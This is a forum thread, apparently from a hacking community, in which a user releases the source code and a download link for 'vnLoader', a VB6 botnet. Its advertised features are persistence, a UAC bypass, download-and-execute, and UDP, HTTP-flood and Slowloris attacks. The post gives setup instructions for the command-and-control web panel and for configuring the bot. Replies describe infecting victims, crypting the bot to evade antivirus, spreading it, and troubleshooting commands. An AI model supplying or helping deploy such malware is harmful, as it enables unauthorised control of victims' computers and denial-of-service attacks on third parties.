Thread: [\[OPEN SOURCE\] vnLoader - HTTP Bot - DL/Exec, Update, Visit - \[UDP | HTTP Flood\] \[VB6\]](#)

**van1lle** - September 19, 2011, 9:06 am

[img]http://img846.imageshack.us/img846/1038/logoxx.png[/img]

Hey guys!

I'm presenting my HTTP Bot called 'vnLoader' i was coding it about 1 year ago for a couple of months. I don't use it anymore so I gonna share this with you.

It only lays around on my computer. So why not giving something to the community.

About the Bot:Coded in VB6

Startup (of course)

Mutex (of course)

Copy & Paste UAC Bypass

Commands:Download & Execute

Update

Remove

Visit Website (visible/hidden)

UDP Flood

> attacks random ports

HTTP Flood

> if server is vulnerable to Slowloris -> Slowloris attack

> else -> HTTP Get Flood

Uses Sockets to connect!

About the Webpanel:Coded in PHP ( + a bit Javascript )

High customizable taskcreation

Statistics, Botlist, Tasklist, etc.

Account system (take a look at the picture below)

Screenshots of the Webpanel:Attention - big images!

Statistics [\(Click to View\)](#)http://img684.imageshack.us/img684/6840/botkmo.png

Botlist [\(Click to View\)](#)http://img571.imageshack.us/img571/6083/bot1l.png

Task creation [\(Click to View\)](#)http://img268.imageshack.us/img268/9886/bot2l.png

Account managements [\(Click to View\)](#)

http://img835.imageshack.us/img835/5021/bot3b.png

How to install the Webpanel:1. Create a mysql database (won't explain how that works)

2. After downloading the source browse to your php files.

3. Open "sql.inc.php" and configure it to your mysql server/database

PHP Code

```
<?php
```

```
@mysql_connect("dbserver", "dbusername", "dbpassword");
```

```
@mysql_select_db("dbname");
```

4. Upload everything to your webserver

5. Browse in your Internet Browser to <http://yourserver.com/yourwebpanel/install.php>

6. Enter a username and a password for your webpanel and click "Install". Wait until the script is done.

How to compile the bot:1. Open the project in your Visual Basic 6.0 IDE

2. Search for "Form\_Load" in Form1

3. Configure it like this.

Code 'FOR EXAMPLE OUR WEBPANEL IS HERE: <http://someserver.com/vnloader/>

Server = "someserver.com" 'Your Domain (without: "http://" or "www.")

Prefix = "/vnLoader/" 'Path to the folder of the webpanel

Password = "updateandremovepassword" 'Password for the update command

Mutex = "Something Random Here" 'Mutex

StartUp = "Startupkey" 'Startupkey

4. Compile

5. ???

6. Profit

Download:<http://www.mediafire.com/?i1fgaz842c9c9l8>

Don't ask for virusscans these are only sourcecodes!

Enjoy anyone (:

If you have questions ask here in thread, do not PM me since PM limit is 50, wich is reached fastly. Also search in the thread if you have problems. Maybe someone already solved them :b

Ahhh, by the way what i almost missed.

I'm not responsible for what you do with this :P

**Krewella** - September 19, 2011, 9:13 am

i m the 1st to reply this awsome thread....

brother,

thanks for this...really.

u r awsome guy....and m thankful to u.

**Flowz** - September 19, 2011, 9:15 am

Looks very good! I will certainly test this out! I am now coding a HTTP bot in C#, something look-a-like as your Pitman Hugo project :)

**van1lle** - September 19, 2011, 9:20 am

(Sep 19, 2011 09:15 AM)Flowz Wrote: [\[CITE\]](#) Looks very good! I will certainly test this out! I am not coding a HTTP bot in C#, something look-a-like as your Pitman Hugo project :)Enjoy :D

Quote:I am not coding a HTTP bot in C#, something look-a-like as your Pitman Hugo project :)  
Eh? :D

And i don't code in vb6 anymore. Turned to c# but this just lay around on my computer :b

**Flowz** - September 19, 2011, 9:23 am

Sorry, now\* :D

I used to code in Java, but people are afraid of malware in Java but it stays FUD forever..

So I turned my back to Java and started learning C#. The syntax is about the same thing, I got the main structure and HTTP GET-requesting done, I'm now going to start with the POST-requests and coding the web-panel.

**van1lle** - September 19, 2011, 9:29 am

(Sep 19, 2011 09:23 AM)Flowz Wrote: [\[CITE\]](#) Sorry, now\* :D

**Infinitii** - September 19, 2011, 12:09 pm

This looks really good, I'm downloading it now! Also, I love the webpanel, simple and easy.

**DeMoNi** - September 19, 2011, 12:14 pm

Thanks for sharing it bro, you are awesome !!!

**Ratto™** - September 19, 2011, 12:38 pm

Looks very good thanks bro ! :) Now i test it :D

**Swish** - September 19, 2011, 12:47 pm

wow, this is an amazing HTTP bot! First one I have seen with Slowloris!!

I am definitely going to try this!

Thanks!

**BlackPlaguez** - September 19, 2011, 1:07 pm

van1lle has released some very good stuff so i wouldn't be surprised if this isnt as well. I will definitely check this out once i get my hosting back :D

**Flayer** - September 19, 2011, 1:07 pm

Sorry for asking, but is the server.exe .NET so i can use Zerocrypter on it?

Sorry if it was mentioned in the thread but i may have missed it.

**van1lle** - September 19, 2011, 1:17 pm

(Sep 19, 2011 12:14 PM)DeMoNi Wrote: [\[CITE\]](#) Thanks for sharing it bro, you are awesome !!!

Thanks, i'm glad makin other people happy (:

Aww ;) Its in the crypter section and what framework is the server again?

**iEliteHacker** - September 19, 2011, 1:51 pm

this is great man thanks for sharing. I'm compiling it right now on my site :)

**van1lle** - September 19, 2011, 1:56 pm

(Sep 19, 2011 01:25 PM)Satanius Wrote: [\[CITE\]](#) Aww ;) Its in the crypter section and what framework is the server again?

It is coded in vb6, it doenst use the .net framework at all.

**teh\_tr0ll** - September 19, 2011, 5:05 pm

Thanks for sharing! Looks promising, I will give it a try.

I got everything set up successfully, but when I click on the compiled vnloader.exe file (btw. I am running it sandboxed for testing) it won't connect. When I check the sandbox I can see a lot of cmd's and a few other processes running, but then every process terminates.

Thanks in advance.

**Ripped** - September 23, 2011, 12:25 am

i cant compile a bot,

everytime i save the project or try to compile.

VB6 freezes.

i tried it on 2 pcs. same problem.

never had that problem before.

can someone make me a bot?

but i want to teamview please.

**van1lle** - September 23, 2011, 4:59 am

(Sep 23, 2011 12:25 AM)DaRo Wrote: [\[CITE\]](#) i cant compile a bot,

I can do it for ya. Already PM'd you :b

**Banana\_** - September 23, 2011, 11:50 am

This looks good. My only problem when I test on myself, is the uninstall command does not seem to work.

**NinjaxDGx** - September 23, 2011, 12:23 pm

hey um if i set this up sense i do not have vb6 could you help me with the bot and do you know of any crypters that work with it?

**Banana\_** - September 23, 2011, 12:43 pm

Most crypters not written in vb.net should work.

If you would like some help, you can contact me.

**SEANoEv0l** - September 27, 2011, 2:43 pm

I Didnt find any of the commands are working for me pmed the coder hopefully its a small error

**WaKa** - September 27, 2011, 5:05 pm

wow thank, I'm going to try this out and hopefully get a good http net going.

**?InVaDeR** - September 29, 2011, 4:51 am

Nyc Man Is This made by you? if yes than great man

<http://www.multiupload.com/3N08CN7A8V>

**XboxDashboard** - September 30, 2011, 7:37 pm

Thanks i will try this out right now.

**Rat\_Installs** - September 30, 2011, 7:40 pm

this is the shit thanks for letting us use ur source im in love with it

**xTyr0n** - October 1, 2011, 3:05 am

Very very good botnet ! thanks bro !

**van1lle** - October 1, 2011, 9:39 am

UPDATE!

Theres a bug i figured out!

The bot won't work when there are spaces in the subfolder of the Webpanel.  
example:

<http://yoursite.com/vnLoader> - PHP Files/ NOT WORKING!

<http://yoursite.com/vnLoader> - Webpanel/ NOT WORKING!

<http://yoursite.com/vnLoader - PHP Files/> WORKING!

<http://yoursite.com/vnLoader/> WORKING!

**Niemand** - October 1, 2011, 11:39 am

Thanks for this bugfix, bro!

Have a nice day,  
Jakob

**Marcos MC** - October 1, 2011, 11:46 am

You allways with your good releases van1lle. Good job! :)

**Niemand** - October 1, 2011, 1:46 pm

Can someone PM me, so he could help me out? I'll explain my problem of course.

**Pulish** - October 3, 2011, 1:32 pm

Van1lle, can u send me the compiled vb6 ? :) thx very much. VB 6 Freeze an crash.

**SEANoEv0l** - October 4, 2011, 3:52 pm

Anybody got this working so far? post here please.

**greenmaster** - October 5, 2011, 8:10 am

Hello i need help with this.. please accept me on msn .. kazzy.10

**LiteFire** - October 5, 2011, 10:24 am

Do you know a guide on know how to install a MYSQL database via ssh on a vps? Opertaing System is Centos 5

THanks

**dumar** - October 10, 2011, 11:37 am

I recive this error when try to run server

any ideas?

**Nipple** - October 10, 2011, 2:10 pm

RefreshMinutes = 5

^^

means what? refresh every 5 minutes OR refresh 5 times a minute?

**dumar** - October 10, 2011, 2:12 pm

(Oct 10, 2011 02:10 PM)Nipple Wrote: [\[CITE\]](#) RefreshMinutes = 5

^^

means what? refresh every 5 minutes OR refresh 5 times a minute?

it means refresh every 5 minutes

van1lle do u know why i recive error above?

**Nipple** - October 10, 2011, 2:15 pm

(Oct 10, 2011 02:10 PM)Nipple Wrote: [\[CITE\]](#) RefreshMinutes = 5

^^

means what? refresh every 5 minutes OR refresh 5 times a minute?

Never mind, its once every 5 minutes.

Im gonna bug test the shit out of this.

**van1lle** - October 10, 2011, 2:16 pm

(Oct 10, 2011 02:12 PM)dumar Wrote: [\[CITE\]](#) it means refresh every 5 minutes

van1lle do u know why i recive error above?

No i'm not sure. Debug the program and take a look.

**Nipple** - October 10, 2011, 2:29 pm

(Oct 10, 2011 02:16 PM)van1lle Wrote: [\[CITE\]](#) No i'm not sure. Debug the program and take a look.

Timer interval is set to 60,000

So if RefreshMinutes = 5

And

Quote:Private Sub RefreshTimer\_Timer()

TempMinutes = TempMinutes + 1

If TempMinutes = RefreshMinutes Then

RefreshMinutes is how many minutes between each refresh.

Also, its not very wise to have a folder called "bot" sitting in your directory, your host could suspend you...

**Ravaged\_** - October 10, 2011, 2:54 pm

How do I increase my PHP\_Max\_Timeout or whatever? My server auto-500s it after 30 seconds and it won't finish the install.php thing

**??h™** - October 10, 2011, 3:39 pm

Looks and smells like firesale. But the source of the bot is different, and that's all that really matters. :)

**Nipple** - October 10, 2011, 4:33 pm

I've been messing with this for 2 hours now, it doesn't work.

I even stripped it down to just the dl&exec command, still nothing...

**van1lle** - October 11, 2011, 12:44 pm

(Oct 10, 2011 03:39 PM)??h™ Wrote: [\[CITE\]](#) Looks and smells like firesale. But the source of the bot is different, and that's all that really matters. :)

Oh yeah. And you're smelling like tuna fish.

Fact 1: First thread about firesale on HF -> approx. spring of 2011

Fact 2: First time worked on that VB6 project -> november 2010

Fact 3: Firesale -> VB.NET | vnLoader -> VB6

:)

**dumar** - October 12, 2011, 3:05 am

Well I have connection established but it looks like commands don't work

**Memento Mori** - October 12, 2011, 5:15 am

good share

Thanks I will test it now

I made exe, but when I run it nothing happens? anyone having same problem?

**Rhythm** - October 19, 2011, 4:55 pm

Bots aren't connecting for me, not sure why.

**Heroicis** - October 19, 2011, 8:32 pm

If this is really your code it shouldn't take you more than 10 mins to setup via TV if I have your files ready and bought hosting. I may be willing to pay if you could help. -Regards

PM MEEE

**CRT** - October 20, 2011, 3:37 am

PM MEEE

It's not exactly hard to setup a HTTP bot.

**Boing** - October 21, 2011, 6:27 am

Hmm.. I ran the bot on 4 victims and only 1 connected. I got on all 4 Download Executed so no crypting problems but only 1 connected. I also tried running it on my XP VM and it didn't connect either. No packets getting sent.

Help?

**van1lle** - October 21, 2011, 6:42 am

(Oct 21, 2011 06:27 AM)RTFM. Wrote: [\[CITE\]](#) Hmm.. I ran the bot on 4 victims and only 1 connected. I got on all 4 Download Executed so no crypting problems but only 1 connected. I also tried running it on my XP VM and it didn't connect either. No packets getting sent.

Help?

Sorry, i'm not sure. Try to debug it and find out why it's not working.  
I more released that for playing around with the code and so on.

**6cody5** - October 22, 2011, 8:43 am

Wtf is this? I can't open the vb project.

**Heroicis** - October 22, 2011, 11:24 am

I have everything setup and fine, but I get this when I login:

Warning: mysql\_fetch\_array(): supplied argument is not a valid MySQL result resource in /home/  
/public\_html//index.php on line 48

^THE "\*" is just my domain and subdomain for the botnet (So people don't know it/report lol)

**?????** - October 22, 2011, 6:11 pm

Edit: I fixed my problem anyone needing a build in vb6 let me know I can build your bot :D!

**autorunman22** - October 26, 2011, 3:09 am

i dont know what to enter at the username and password in install.php ? mysql password? or webhost pass?

**DarkSwag** - October 26, 2011, 3:42 am

(Oct 26, 2011 03:09 AM)autorunman22 Wrote: [\[CITE\]](#) i dont know what to enter at the username and password in install.php ? mysql password? or webhost pass?  
you need to put your mysql credentials

**jahson** - October 28, 2011, 12:21 pm

Panel look great but I have a serious problem, bots join. but they dont accept any command, doing nothing. :( what is wrong? what can be done to fix it?

**rilinds** - November 14, 2011, 1:57 am

How to create a bot and spread it ?!

**Krueger** - November 14, 2011, 3:12 am

(Nov 14, 2011 02:57 AM)rilinds Wrote: [\[CITE\]](#) How to create a bot and spread it ?!  
Use the Search Bar you'll find tut's on how to setup a HTTP Botnet ... Its all the same way.

**Zer0\_1** - November 14, 2011, 9:33 am

I will deffo test this out. I like the features

**autorunman22** - November 14, 2011, 10:04 am

omg guys, op already said we need to debug it, surely the commands aint gonna work cuz thats the bugs of the bot. pm me for the bug fix, i might have to create a builder for this.

**downlink** - November 15, 2011, 12:11 am

Looks pretty neat. I'll give this a look.

**03storic** - November 15, 2011, 2:11 am

ANNOYING.

**CustomHabbo** - March 19, 2012, 7:38 pm

Looks interesting :DD Looking forward to using this! Thank for the release <3

**daniboy14** - March 27, 2012, 7:26 am

Thanks for this, trying it out now.

**ettorhake** - March 27, 2012, 10:06 am

thank you for the technique, I am going to try to apply now ca

**ngrBot** - March 28, 2012, 10:43 am

I don't see slowloris any where in this source, but thread is old anyways.

**onlinedeputy** - March 29, 2012, 10:12 pm

Hey guys!

I'm presenting my HTTP Bot called 'vnLoader' i was coding it about 1 year ago for a couple of months. I don't use it anymore so I gonna share this with you.

It only lays around on my computer. So why not giving something to the community.

About the Bot:Coded in VB6

Startup (of course)

Mutex (of course)

Copy & Paste UAC Bypass

Commands:Download & Execute

Update

Remove

Visit Website (visible/hidden)

UDP Flood

> attacks random ports

HTTP Flood

> if server is vulnerable to Slowloris -> Slowloris attack

> else -> HTTP Get Flood

Uses Sockets to connect!

About the Webpanel:Coded in PHP ( + a bit Javascript )

High customizable taskcreation

Statistics, Botlist, Tasklist, etc.

Account system (take a look at the picture below)

Screenshots of the Webpanel:Attention - big images!

Statistics ([Click to View](#))

Botlist ([Click to View](#))

Task creation ([Click to View](#))

Account managements ([Click to View](#))

How to install the Webpanel:1. Create a mysql database (won't explain how that works)

2. After downloading the source browse to your php files.

3. Open "sql.inc.php" and configure it to your mysql server/database

PHP Code

```
<?php
```

```
@mysql_connect("dbserver", "dbusername", "dbpassword");
```

```
@mysql_select_db("dbname");
```

4. Upload everything to your webserver

5. Browse in your Internet Browser to <http://yourserver.com/yourwebpanel/install.php>

6. Enter a username and a password for your webpanel and click "Install". Wait until the script is done.

How to compile the bot:1. Open the project in your Visual Basic 6.0 IDE

2. Search for "Form\_Load" in Form1

3. Configure it like this.

Code 'FOR EXAMPLE OUR WEBPANEL IS HERE: <http://someserver.com/vnloader/>

Server = "someserver.com" 'Your Domain (without: "http://" or "www.")

Prefix = "/vnLoader/" 'Path to the folder of the webpanel

Password = "updateandremovepassword" 'Password for the update command

Mutex = "Something Random Here" 'Mutex

StartUp = "Startupkey" 'Startupkey

4. Compile

5. ???

6. Profit

Download:<http://www.mediafire.com/?i1fgaz842c9c9l8>

Don't ask for virusscans these are only sourcecodes!

Enjoy anyone (:

If you have questions ask here in thread, do not PM me since PM limit is 50, wich is reached fastly. Also search in the thread if you have problems. Maybe someone already solved them :b

Ahhh, by the way what i almost missed.

I'm not responsible for what you do with this :PWoww this is amazing! You must have worked hard on this.

Thank you for this great share!

**onezero** - April 3, 2012, 3:22 pm

Any solution for the commands issue?

**daGazaman** - April 24, 2012, 7:39 am

Thanks for sharing bro. Appreciate it.

**michaelnagy** - May 19, 2012, 9:26 pm

Download and execute works? I need a bot with startup and D/E

**Heroicis** - June 25, 2012, 12:32 am

How do I know my Dbserver address? Localhost won't work.

PHP Code

```
<?php
```

```
//check if included in project
```

```
if ( !defined ( 'vnLoader' ) ) header ( 'location: .' );
```

```
//sql connection
@mysql_connect("127.0.0.1"),
```

**Not2EXceL** - July 5, 2012, 11:03 pm

(Jun 25, 2012 12:32 AM)Micro.Gov Wrote: [\[CITE\]](#) How do I know my Dbserver address? Localhost won't work.

PHP Code

```
<?php
//check if included in project
if ( !defined ( 'vnLoader' ) ) header ( 'location: ./' );
//sql connection
@mysql_connect("127.0.0.1"),
```

localhost worked for me, i just had to redirect to the install.php and use the login info for the mysql server.

then everything worked properly

**GreenPanda** - July 5, 2012, 11:46 pm

Thanks!

I'm going to try this later.

Can anyone try running this on windows xp?

It doesn't work for me.

**Not2EXceL** - July 6, 2012, 10:48 pm

(Jul 6, 2012 10:48 PM)Not2EXceL Wrote: [\[CITE\]](#) ill test it later tonight on win xp  
Thanks. It seems to work on some win xp machines but not others... Weird, eh?

**Prayanthem** - July 8, 2012, 2:39 pm

When I try running the install.php I get this.

Code PHP Error Message

Warning: fopen(ip-to-country.csv) [function.fopen]: failed to open stream: No such file or directory in /home/a7708711/public\_html/install.php on line 66

PHP Error Message

Warning: fgetcsv() expects parameter 1 to be resource, boolean given in

/home/a7708711/public\_html/install.php on line 68

## PHP Error Message

Warning: fclose(): supplied argument is not a valid stream resource in  
/home/a7708711/public\_html/install.php on line 73  
I can however log in to my page.

**the.xAx** - August 10, 2012, 2:36 pm

I install this botnet in SPAM  
Bot was added correctly.  
After entering the command, nothing happens. You know why?  
Thank you very much for your help.  
Sorry for my poor English.

**Daily** - August 25, 2012, 12:19 am

(Aug 10, 2012 02:36 PM)Armaged0n Wrote: [\[CITE\]](#) I install this botnet in SPAM

thank you ?? ?? ?? ?? ?? ?? ??

**i9.** - January 20, 2013, 1:41 pm

Thanks for the share, so far so good. Just one thing you could possibly help with as i'm not experienced with visual basic 6.0... I have compiled with no errors and writes the exe, however it's not there... i tried checking other directories incase it was bugging out and searched my computer, but there is nothing. This a problem with visual basics?

**mellevien** - January 20, 2013, 2:15 pm

Thanks for sharing this!!

I will give it a try :)

**Acivetix** - February 3, 2013, 6:56 am

Epic share, dude. Compiled and so on, everything good. Now I'm trying to get first bots. Hopefully it works.

Thanks man.

**denominator13** - February 8, 2013, 12:21 am

Great for localhost but I can't get it to install to a webhost >.<

**gigajew** - March 9, 2013, 6:48 am

I have an issue as well, everything works perfectly fine, except executing commands. The problem is they never execute. They appear on the list and everything, but they never execute. I'd be thankful for any help regarding this.

[H]ell - March 17, 2013, 3:20 pm

Just went through your source for 10 minutes just reading it.

Here are some problems I found:

File: install.php

Before you start the installation, you only check if the user and pass are passed, you don't validate them.

You don't sanitize the username before inserting it in the SQL query.

You don't validate any queries during installation.

The installation file isn't removed if the installation is successful.

With your current setup, this isn't even possible.

This isn't major, but:

Print is a function, it would be good practice to call it as a function().

Just because PHP fixes this common mistake, it's bad practice to rely in it.

index.php

When a user is attempting to login, you do not sanitize the POST information.

There's also zero detection against bruteforce attacks.

You use md5(md5()) this only offers a low amount of security.

Md5 strings only contain a to z characters and 0 to 9.

It's always a 32 character string so if anyone is serious about bruteforcing the password, the first md5() can be cracked within a day.

You should consider using a random salt, that you store in the database for each user.

Make an extra row and call it SALT. but some random characters in it, and always use that for the user.

Make sure that they are characters like !@#\$%^&\*()\_+{}:"|'?><

Those add a lot of time to a bruteforcer.

Each user having its own salt, it's a pain to crack multiple passwords.

This is just a personal preference, but if you've never heard of the switch statement it might be nice looking into it.

You now use a lot of else if's. Which really clutters your code.

Here's a good example link: <http://stackoverflow.com/questions/3399755/if-versus-switch>

Didn't go through the other sources, just too much work. And they'll probably contain much of the same errors.

One more thing is look into templating. Instead of mixing HTML and php code together.

<http://coding.smashingmagazine.com/2011/10/17/getting-started-with-php-templating/>

Hope my information helped the development of this opensource product.

Regards,

- [H]ell.

HakerPoland - March 17, 2013, 3:27 pm

how to use this files? any tips to open that??

[H]ell - March 19, 2013, 9:50 am

Before you start the installation, you only check if the user and pass are passed, you don't validate them.

You don't sanitize the username before inserting it in the SQL query.

You don't validate any queries during installation.

The installation file isn't removed if the installation is successful.

With your current setup, this isn't even possible.

This isn't major, but:

Print is a function, it would be good practice to call it as a function().

Just because PHP fixes this common mistake, it's bad practice to rely on it.

index.php

When a user is attempting to login, you do not sanitize the POST information.

There's also zero detection against bruteforce attacks.

You use md5(md5()) this only offers a low amount of security.

Md5 strings only contain a to z characters and 0 to 9.

It's always a 32 character string so if anyone is serious about bruteforcing the password, the first md5() can be cracked within a day.

You should consider using a random salt, that you store in the database for each user.

Make an extra row and call it SALT. but some random characters in it, and always use that for the user.

Make sure that they are characters like !@#\$%^&\*()\_+{}:"|'?><

Those add a lot of time to a bruteforcer.

Each user having its own salt, it's a pain to crack multiple passwords.

This is just a personal preference, but if you've never heard of the switch statement it might be nice looking into it.

You now use a lot of else if's. Which really clutters your code.

Here's a good example link: <http://stackoverflow.com/questions/3399755/if-versus-switch>

Didn't go through the other sources, just too much work. And they'll probably contain much of the same errors.

One more thing is look into templating. Instead of mixing HTML and php code together.

<http://coding.smashingmagazine.com/2011/10/17/getting-started-with-php-templating/>

Hope my information helped the development of this opensource product.

Regards,

- [H]ell.

To bad that you don't even look into the information I provided you..

(Mar 9, 2013 07:48 AM)gigajew Wrote: [\[CITE\]](#) I have an issue as well, everything works perfectly fine, except executing commands. The problem is they never execute. They appear on the list and everything, but they never execute. I'd be thankful for any help regarding this.  
same

**BenWilliams** - March 21, 2013, 5:14 am

Thanks for this share man...looks pretty nice...lets see :)

**Nautica.** - March 22, 2013, 12:51 am

These are only source codes indeed but who knows? It could be a shell in there. :)  
Thanks for this anyways.

**Six-Nine** - May 19, 2013, 8:41 am

This looks good. Im downloading it right now, I will recome with bugs etc.

**HDPixel** - May 27, 2013, 10:38 am

**Balmung514** - May 27, 2013, 11:28 am

pretty nice, idk tho maybe ill try helllo

**Asp1r3-At0m** - May 27, 2013, 5:37 pm

Thanks a lo! i was wondering what can i do with vb6 (i just downloaded it some minutes ago) :P

**NightstalkerOfficial** - July 25, 2013, 6:28 pm

My server I compiled only installs to appdata but doesn't run. I have to manually go to the appdata folder it creates and run it.

Can anybody help?

**geezus** - July 25, 2013, 7:17 pm

Thank you for sharing man this looks pretty nice!!!

**Meechy Darko** - July 25, 2013, 7:43 pm

What the hell is up with all the grave digging these days.

Do you know a better, newer HTTP Botnet that has all the functions vnLoader has?

Great botnet, but I'm getting one error. On the Statistic page I'm getting this error:

Code Deprecated: Function split() is deprecated in  
/home/-snip-/public\_html/Webpanel/include/chart.php on line 18  
Does anyone know a way to fix this error?

**Naveen** - September 8, 2013, 7:37 am

Thanks for the Share man Gonna work it out ... : )

**Speedyyi** - September 8, 2013, 1:29 pm

This looks very well made, thx for this and get us more stuff ^^

**thecoon411** - September 17, 2013, 11:51 pm

PHP 5.3 modify to Explode instead. It is a depreciated method and needs to be updated or you can just revert to an older version of PHP. If your host supports the downgrade and you really want to go for it but I wouldn't bother. Lots of potential problems with the PHP.

**waste49** - September 23, 2013, 8:19 am

it works on a win server 2003 , it connects to the panel but commands don't work,

nothing happens that's true, execute, visit website ....

**back0to0life** - January 6, 2014, 2:36 pm

i want this file  
how i get it?

can any one upload it please

**waleedking** - January 6, 2014, 3:27 pm

thanks alot you really helped me and i crypted the source code and its fud now :) thanks again  
Note:if anyone wants the crypted source code pm me

**coolshame** - January 29, 2014, 6:39 pm

thank you to this share van1lle, I'm trying

**hasadya** - January 31, 2014, 3:08 am

good work man thanks a lot will try it

**Darragh22** - February 2, 2014, 11:30 am

This is such a good tutorial! Nice and HQ info Thanks alot

**born3d** - March 17, 2014, 1:21 pm

Thanks for sharing the source code. I am of finding a good C# book.

**ibrown95x** - March 17, 2014, 6:48 pm

Thanks for this mate, will come useful soon.

**eldoradoKing** - March 18, 2014, 12:44 am

thanks for your share.  
i will try this.

**Jony Blaze** - March 18, 2014, 8:51 am

Thanks Mate. Will use it

-Red Dragon

**Tr?llKill** - March 21, 2014, 3:44 pm

I can't execute commands :( It saying "Commands sucesfull blabla ..." but it don't work :(((

**tudor13mn13** - March 22, 2014, 7:11 am

Nice.Thanks for share! :D

P.S: The 6.0 version of Visual basic is too old. :-?

**4nt1g0v** - March 30, 2014, 4:42 am

old and dangerous

lol

thankyou for the share

**Deronix** - March 30, 2014, 1:44 pm

thanks man! ? is there a way to donate for you ? :P

**Louis C.K.** - March 30, 2014, 4:37 pm

how do you even compile this can somenone help put?

**daveyolo** - April 7, 2014, 7:28 am

Very nice bot, van1lle.

I have one problem, though, the commands don't seem to work. They just remain active forever.

(Mar 30, 2014 04:37 PM)theman001 Wrote: [\[CITE\]](#) how do you even compile this can somenone help put?

It's all explained in OP.

You've got to download Visual Basic 6, load the project, edit a few lines to point to your panel and stuff then compile.

**M6U\_** - April 7, 2014, 8:38 am

Thanks you for share this is very good i love you :P

**DrCrumbs** - April 8, 2014, 6:18 pm

Thank you so much.

This will help me learn so much, glad its just the source also.

**hezha11** - April 9, 2014, 1:32 am

thanks for this...really.this is best i like

**matrixcnet** - April 9, 2014, 8:57 am

thank for this, i will test it .....

**Skunkz** - April 15, 2014, 5:50 pm

Nice job man, glad to see some ppl still sharing for free

**Parsons** - June 5, 2014, 3:28 pm

This thing is so old, i hope its better than cythosia v2 with its non working builder or cracked andromeda with it lack of plugins.

**ivankirevich** - August 28, 2014, 8:21 am

Tried it, the dl and exec command don't work.

**District** - August 29, 2014, 12:20 pm

Amazing. Thanks, gonna revamp it to my liking. Truly amazing though. Good work >:)

**Hajiv** - August 29, 2014, 5:02 pm

Looks like a pretty good source with basic commands meaning it'll be good for herding. Thanks for the share.

**DeepWater** - August 19, 2015, 7:14 pm

Does anyone know a way to fix this error?

I learning php to fix this great bot, because I have a "client" that use a .exe compiled with vnloader.

I saw in internet the command split are outdated, you must use "explode".

example: \$vetorFrutas = split(",", \$str);

change to: \$vetorFrutas = explode(",", \$str);

I believe the best is ask someone what is the best version of wamp to use, any help I appreciate.

**banlieu4511** - October 12, 2015, 6:39 pm

Dis it work really ? because this is o.O

I'm pretty sure VB6 isn't supported on Win7 and upper. I know it's definitely not on Win8 & up, so to answer your question; kinda.

**IHasBrains** - October 13, 2015, 8:14 am

(Oct 12, 2015 09:56 PM)L\_USER Wrote: [\[CITE\]](#) Hes a new member, give him some time to learn.  
I just told him, that it is outdated. What else should I say?  
He can look for a more up to date one on its own. Using google and the forum search is not difficult.
